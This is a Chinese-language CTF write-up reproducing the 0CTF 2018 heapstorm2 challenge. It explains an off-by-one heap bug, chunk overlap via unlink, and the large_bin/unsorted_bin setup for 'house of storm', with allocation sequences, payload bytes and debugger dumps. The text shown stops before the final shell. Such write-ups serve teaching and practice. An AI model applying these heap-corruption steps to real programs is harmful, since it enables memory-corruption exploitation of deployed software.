0ctf2018_heapstorm2_reproduce

这篇文章详细介绍了ctf2018 Heapstorm2挑战中的heap溢出漏洞利用过程,涉及off-by-one攻击、chunk overlap利用、large_bin和unsorted_bin的伪造,最终实现内存控制并获取shell。作者通过实例演示了如何构造payload,以及mallopt函数和/dev/urandom在攻破中的作用。

0ctf2018_heapstorm2_reproduce

概述

打了好久,学到很多

保护全开,libc-2.24

漏洞点在 off-by-one,打法是利用 off-by-one 缩小 chunk 进行 unlink 然后就可以实现类似 uafoverlap,是 unlink 的一部分,又是还能用的这种 overlap

有了 overlap 就能实现 house of storm,也就是同时伪造 large_binbk_nextsizebkunsorted_binbk,实现可写内存的任意申请

过程

overlap chunk

先利用 off-by-one 实现缩小 chunk,再 unlink 然后就可以实现类似 uafoverlap

要进行两次,一次为了 large_bin 的伪造,一次为了 unsorted_bin 的伪造

第一次 overlap chunk

先进行布局

create(0x18)# 0
create(0x508)# 1
create(0x18)# 2

create(0x18)# 3
create(0x508)# 4
create(0x18)# 5

create(0x18)# 防止 5 进 top

然后伪造 prve_size,伪造 size

edit(1,0x4f0*b'a'+p64(0x500))# 伪造 prve_size 为 0x500
delete(1)# 被覆盖的 prev_size 恢复
edit(0,(0x18-12)*b'a')# off-by-one 伪造 size 为 0x500

请添加图片描述

创建一个 0x20 的块,再创建一个 0x4d8 块为后面 overlap 改写其他块内容做准备

# 2 overlap 7,通过 7 能改 2
create(0x18)# 1
create(0x4d8)# 7 uaf overlap

然后进行 unlink,unlink 前要 free 一下 chunk1

delete(1)# 使 prev_size 为 0x20,不然报 corrupted size vs. prev_size
delete(2)# unlink

请添加图片描述

这时候就可以 overlap

create(0x38)# 1
create(0x4e0)# 2 0x4f0 unsorted

可以看到,用 7 可以控制 2,我们后面把 2 放进 unsorted,然后就可以用 7 去改写内容了

pwndbg> x/200xg 0x558c3e47b020
0x558c3e47b020: 0x49495f4d524f5453      0x0000000000000041 <---1
0x558c3e47b030: 0x0000000000000000      0x0000000000000000
0x558c3e47b040: 0x0000000000000000      0x0000000000000000 <---7
0x558c3e47b050: 0x0000000000000000      0x0000000000000000
0x558c3e47b060: 0x0000000000000000      0x00000000000004f1 <---2

改了了 unsorted 还需要改写 large

重复一遍上面过程就行,不过 large_bin 应该要 小于 unsorted_bin,这样方便实现漏洞利用

# ? overlap 8,通过 8 能改 free块
edit(4,0x4f0*b'a'+p64(0x500))
delete(4)# 被覆盖的 prev_size 恢复
edit(3,(0x18-12)*b'a')

create(0x18)# 4
create(0x4d8)# 8 uaf overlap

delete(4)
delete(5)# unlink

create(0x48)# 4
# 0x4e0 large

放入 large_bin 和 unsorted_bin

这时候就会有一个 0x4e0 的 chunk 在 unsorted 里面,我们要让 0x4f0 的进 unsorted,让0x4e0的进 large

# 放入 large_bin 和 unsorted_bin
delete(2)
create(0x4e0)# 2
delete(2)

第一次 delete(2)

请添加图片描述

可以看到两个 chunk 都进了 unsorted

create(0x4e0) 后,因为 unsortedFIFO 的规则,会先遍历 0x4e0 的块,发现不是精确大小,就放入了 large_bin,而之后遍历 0x4f0 的块,发现符合条件,就直接返回给用户了,然后我们再 delete(2)0x4f0 的块就进了 unsorted 了,我们的目的就实现了

请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值